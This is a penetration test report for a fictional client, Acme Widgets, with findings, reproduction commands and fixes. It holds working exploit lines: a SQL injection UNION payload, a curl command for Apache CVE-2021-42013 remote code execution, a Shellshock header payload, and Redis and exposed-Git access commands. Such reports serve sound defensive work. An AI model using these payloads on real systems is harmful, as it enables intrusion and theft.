

Acme Widgets LLC – Technical Report

Prepared by	Ronin Security Consulting – CONFIDENTIAL
Engagement	acme-ext-2026q3
Client	Acme Widgets LLC
Tester	raven
Authorized by	J. Okafor, CTO
Testing window	2026-09-01 to 2026-09-30
Report generated	2026-09-09 23:46
Overall risk rating	Critical
Findings	9 total – 2 critical, 2 high, 1 medium, 2 low, 2 info

Prepared by Ronin Security Consulting under NDA. Client distribution only.

Reading this report

This is the engineer-level document. Every finding includes the affected asset, severity and CVSS v3.1 score/vector, the raw evidence, and – where the issue is exploitable – a copy-paste reproduction in section 3. Commands and raw tool output are reproduced verbatim so your team can validate each item independently.

- [Acme Widgets LLC – Technical Report](#)
 - [Reading this report](#)
 - [1. Scope & Methodology](#)
 - [1.1 Scope](#)
 - [1.2 Methodology](#)

- 2. Vulnerability Details – The Findings
 - 2.1 SQL injection in GET parameter 'id' (MySQL)
 - 2.2 Apache 2.4.49 Path Traversal / RCE (CVE-2021-42013)
 - 2.3 Open port 6379/tcp - Redis (internet-facing)
 - 2.4 nikto: Shellshock RCE may be possible via /cgi-bin/status.cgi
 - 2.5 Exposed Git repository at /.git/
 - 2.6 TLS 1.0 and 3DES ciphers offered
 - 2.7 No Content-Security-Policy (<https://app.acme.example>)
 - 2.8 Subdomain discovered: staging.acme.example
 - 2.9 Open port 3306/tcp - mysql (MySQL 8.0.31)
- 3. Proof of Concept (PoC) & Attack Paths
 - 3.1 SQL injection in GET parameter 'id' (MySQL) – <https://app.acme.example/item?id=1>
 - 3.2 Apache 2.4.49 Path Traversal / RCE (CVE-2021-42013) – <https://app.acme.example>
 - 3.3 Open port 6379/tcp - Redis (internet-facing) – 203.0.113.10:6379/tcp
 - 3.4 nikto: Shellshock RCE may be possible via /cgi-bin/status.cgi – <https://legacy.acme.example/cgi-bin/status.cgi>
 - 3.5 Exposed Git repository at /.git/ – <https://app.acme.example/.git/HEAD>
- 4. Remediation Recommendations
 - 4.1 SQL injection in GET parameter 'id' (MySQL)
 - 4.2 Apache 2.4.49 Path Traversal / RCE (CVE-2021-42013)
 - 4.3 Open port 6379/tcp - Redis (internet-facing)
 - 4.4 nikto: Shellshock RCE may be possible via /cgi-bin/status.cgi
 - 4.5 Exposed Git repository at /.git/
 - 4.6 TLS 1.0 and 3DES ciphers offered
 - 4.7 No Content-Security-Policy (<https://app.acme.example>)
- Appendix A – Evidence index

1. Scope & Methodology

1.1 Scope

In scope

- *.acme.example
- 203.0.113.0/28

Explicitly out of scope

- mail.acme.example

Testing window: 2026-09-01 to 2026-09-30.

Rules of engagement

External black-box. No DoS. No social engineering. Credential attacks only outside 09:00-17:00 local. Report any pre-existing compromise immediately.

1.2 Methodology

Each step below was executed from the tester's host against in-scope targets. Raw output for every run is retained under `engagements/acme-ext-2026q3/evidence/`.

#	Tool	Target	Started	Duration	Status	Findings
1	subfinder	acme.example	2026-09-09 09:00	7m00s	ok	1
2	naabu	203.0.113.10	2026-09-09 09:09	7m00s	ok	1
3	nmap	203.0.113.10	2026-09-09 09:18	7m00s	ok	1
4	nuclei	https://app.acme.example	2026-09-09 09:27	7m00s	ok	3
5	feroxbuster	https://app.acme.example	2026-09-09 09:36	7m00s	ok	1
6	sqlmap			7m00s	ok	1

#	Tool	Target	Started	Duration	Status	Findings
		https:// app.acme.example/ item?id=1	2026-09-09 09:45			
7	nikto	https:// legacy.acme.example	2026-09-09 09:54	7m00s	ok	1

Exact commands

```
subfinder acme.example
```

```
naabu 203.0.113.10
```

```
nmap 203.0.113.10
```

```
nuclei https://app.acme.example
```

```
feroxbuster https://app.acme.example
```

```
sqlmap https://app.acme.example/item?id=1
```

```
nikto https://legacy.acme.example
```

2. Vulnerability Details – The Findings

9 findings, ordered by severity then CVSS. Informational items are inventory/context and are retained for completeness.

2.1 SQL injection in GET parameter 'id' (MySQL)

Severity	CRITICAL
-----------------	----------

CVSS v3.1	9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Affected	https://app.acme.example/item?id=1
Source / confidence	sqlmap / firm
CWE	CWE-89
Tags	sqlmap, sqli, get

sqlmap confirmed boolean-based and UNION SQL injection via the id parameter; backend is MySQL 8.0.

Evidence

```
Parameter: id (GET)
Type: UNION query
Payload: id=1 UNION ALL SELECT NULL,CONCAT(user(),0x3a,version()),NULL-- -
```

2.2 Apache 2.4.49 Path Traversal / RCE (CVE-2021-42013)

Severity	CRITICAL
CVSS v3.1	9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Affected	https://app.acme.example
Source / confidence	nuclei / firm
CVE	CVE-2021-42013
CWE	CWE-22
Tags	nuclei, cve, rce

Apache httpd 2.4.49/2.4.50 unauthenticated path traversal; with mod_cgi enabled this is remote code execution.

Request

```
POST /cgi-bin/.%2e/.%2e/bin/sh HTTP/1.1
Host: app.acme.example
```

```
echo; id
```

Response (truncated)

```
HTTP/1.1 200 OK
```

```
uid=1(daemon) gid=1(daemon)
```

2.3 Open port 6379/tcp - Redis (internet-facing)

Severity	HIGH
CVSS v3.1	not scored
Affected	203.0.113.10:6379/tcp
Source / confidence	naabu / confirmed
CWE	CWE-306
Tags	naabu, port, redis

naabu found Redis exposed on the perimeter address. Redis defaults to no authentication.

2.4 nikto: Shellshock RCE may be possible via /cgi-bin/status.cgi

Severity	HIGH
CVSS v3.1	not scored
Affected	https://legacy.acme.example/cgi-bin/status.cgi
Source / confidence	nikto / tentative
CVE	CVE-2014-6271
CWE	CWE-78
Tags	nikto

nikto flagged a CGI endpoint potentially vulnerable to Shellshock (CVE-2014-6271).

2.5 Exposed Git repository at /.git/

Severity	MEDIUM
CVSS v3.1	not scored
Affected	<code>https://app.acme.example/.git/HEAD</code>
Source / confidence	feroxbuster / confirmed
CWE	CWE-538
Tags	feroxbuster, content-discovery

feroxbuster: /.git/HEAD -> 200. The working tree is downloadable.

2.6 TLS 1.0 and 3DES ciphers offered

Severity	LOW
CVSS v3.1	not scored
Affected	<code>app.acme.example:443</code>
Source / confidence	testssl / firm
Tags	testssl, tls

TLS 1.0 enabled; CBC 3DES suites negotiable.

2.7 No Content-Security-Policy (<https://app.acme.example>)

Severity	LOW
CVSS v3.1	not scored
Affected	<code>https://app.acme.example</code>
Source / confidence	httpx / firm
CWE	CWE-693

Tags	httpx, headers

Response lacks a CSP header.

2.8 Subdomain discovered: staging.acme.example

Severity	INFO
CVSS v3.1	not scored
Affected	staging.acme.example
Source / confidence	subfinder / firm
Tags	subfinder, recon, subdomain

Enumerated from crt.sh; resolves to 203.0.113.12.

2.9 Open port 3306/tcp - mysql (MySQL 8.0.31)

Severity	INFO
CVSS v3.1	not scored
Affected	203.0.113.10:3306/tcp
Source / confidence	nmap / confirmed
Tags	nmap, service, mysql

MySQL reachable from the testing host on the perimeter address.

3. Proof of Concept (PoC) & Attack Paths

3.1 SQL injection in GET parameter 'id' (MySQL) — `https://app.acme.example/item?id=1`

Attack path. Full DB read: dump customers + password hashes -> offline crack -> account takeover / admin. Stacked queries may allow RCE on the DB host.

Reproduce.

```
sqlmap -u 'https://app.acme.example/item?id=1' --batch --dbs
```

3.2 Apache 2.4.49 Path Traversal / RCE (CVE-2021-42013) — `https://app.acme.example`

Attack path. Unauthenticated RCE as the web user -> pivot into 203.0.113.0/28. Public exploit exists.

Reproduce.

```
curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; id' 'https://app.acme.example/cgi-bin/.%2e/.%2e/.%2e/bin/sh'
```

3.3 Open port 6379/tcp - Redis (internet-facing) — `203.0.113.10:6379/tcp`

Attack path. Unauthenticated Redis -> read/alter cached data, write a webshell or SSH key via CONFIG SET, or gain RCE on the Redis host.

Reproduce.

```
redis-cli -h 203.0.113.10 -p 6379 INFO
```

3.4 nikto: Shellshock RCE may be possible via `/cgi-bin/status.cgi` — `https://legacy.acme.example/cgi-bin/status.cgi`

Attack path. If confirmed, unauthenticated RCE on a legacy host - likely an unmonitored pivot point.

Reproduce.

```
curl -H 'User-Agent: () { :; }; echo; /bin/id' https://legacy.acme.example/cgi-bin/status.cgi
```

3.5 Exposed Git repository at /.git/ — <https://app.acme.example/.git/HEAD>

Attack path. Reconstruct source + committed secrets -> authenticated access / more vulns.

Reproduce.

```
git clone https://app.acme.example/.git recovered && git -C recovered log --oneline | head
```

4. Remediation Recommendations

Per-finding remediation. Items are ordered by severity.

4.1 SQL injection in GET parameter 'id' (MySQL)

- **Asset(s):** <https://app.acme.example/item?id=1>
- **Risk:** CRITICAL (CVSS 9.8)- **Fix:** Parameterise every query (prepared statements). Least-privilege DB account. Add a WAF rule as an interim control. Retest with the same sqlmap command.
- **Effort:** Medium-High • **Suggested SLA:** 7 days
- **References:** https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

4.2 Apache 2.4.49 Path Traversal / RCE (CVE-2021-42013)

- **Asset(s):** <https://app.acme.example>
- **Risk:** CRITICAL (CVSS 9.8)- **Fix:** Upgrade Apache httpd to >= 2.4.51. Disable mod_cgi/mod_cgid if unused. Restrict /cgi-bin.
- **Effort:** Medium-High • **Suggested SLA:** 7 days
- **References:** https://httpd.apache.org/security/vulnerabilities_24.html

4.3 Open port 6379/tcp - Redis (internet-facing)

- **Asset(s):** 203.0.113.10:6379/tcp
- **Risk:** HIGH- **Fix:** Bind Redis to localhost or an internal VLAN, require AUTH + TLS, and rename/disable CONFIG. Never expose 6379 to the internet.
- **Effort:** Medium-High • **Suggested SLA:** 30 days

4.4 nikto: Shellshock RCE may be possible via /cgi-bin/status.cgi

- **Asset(s):** https://legacy.acme.example/cgi-bin/status.cgi
- **Risk:** HIGH- **Fix:** Patch bash; retire the legacy CGI host or place it behind authentication and WAF.
- **Effort:** Medium-High • **Suggested SLA:** 30 days
- **References:** https://nvd.nist.gov/vuln/detail/CVE-2014-6271

4.5 Exposed Git repository at /.git/

- **Asset(s):** https://app.acme.example/.git/HEAD
- **Risk:** MEDIUM- **Fix:** Deny /.git at the edge; deploy from a build artifact, not a checkout.
- **Effort:** Low • **Suggested SLA:** 90 days

4.6 TLS 1.0 and 3DES ciphers offered

- **Asset(s):** app.acme.example:443
- **Risk:** LOW- **Fix:** Mozilla Intermediate profile: TLS 1.2+ only, drop 3DES/RC4/EXPORT, ECDHE key exchange.
- **Effort:** Low • **Suggested SLA:** 180 days
- **References:** https://ssl-config.mozilla.org/

4.7 No Content-Security-Policy (https://app.acme.example)

- **Asset(s):** https://app.acme.example
 - **Risk:** LOW- **Fix:** Define a restrictive CSP to limit script/style/frame sources.
 - **Effort:** Low • **Suggested SLA:** 180 days
-

Appendix A — Evidence index

Raw output for every run in this report is retained here:

```
engagements/acme-ext-2026q3/evidence/<run-id>/  
  command.txt      exact argv  
  stdout.log       full stdout  
  stderr.log       full stderr  
  <tool>.<ext>     machine-readable result (xml / jsonl / json)  
  findings.json    normalized findings extracted from this run
```

Audit trail (scope decisions + every command) is in `audit.log` at the project root.

Prepared by Ronin Security Consulting under NDA. Client distribution only.